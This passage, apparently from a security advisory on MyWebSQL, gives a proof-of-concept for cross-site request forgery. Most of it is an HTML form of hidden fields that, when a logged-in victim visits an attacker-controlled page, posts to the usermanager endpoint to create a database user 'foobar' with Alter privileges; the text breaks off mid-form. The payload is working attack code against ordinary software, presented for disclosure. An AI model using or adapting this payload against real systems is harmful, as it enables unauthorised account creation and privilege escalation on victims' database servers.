attacker can perform actions for the victim if the victim visits an attacker
controlled site while logged in.
3. Proof of Concept

<html>
<body>
<form name="myform" action="https://localhost/mywebsql/?q=wrkfrm&type=usermanager" method="POST" enctype="multipart/form-data">
<input type="hidden" name="type" value="usermanager" />
<input type="hidden" name="id" value="add" />
<input type="hidden" name="name" value="
" />
<input type="hidden" name="query" value="{"username":"foobar","hostname":"localhost","pwd":"foobar"}" />
<input type="hidden" name="username" value="foobar" />
<input type="hidden" name="hostname" value="localhost" />
<input type="hidden" name="userpass" value="foobar" />
<input type="hidden" name="userpass2" value="foobar" />
<input type="hidden" name="Alter_priv" value="on" />
<input type="hidden" name="Alter_routine_priv" value="on" />
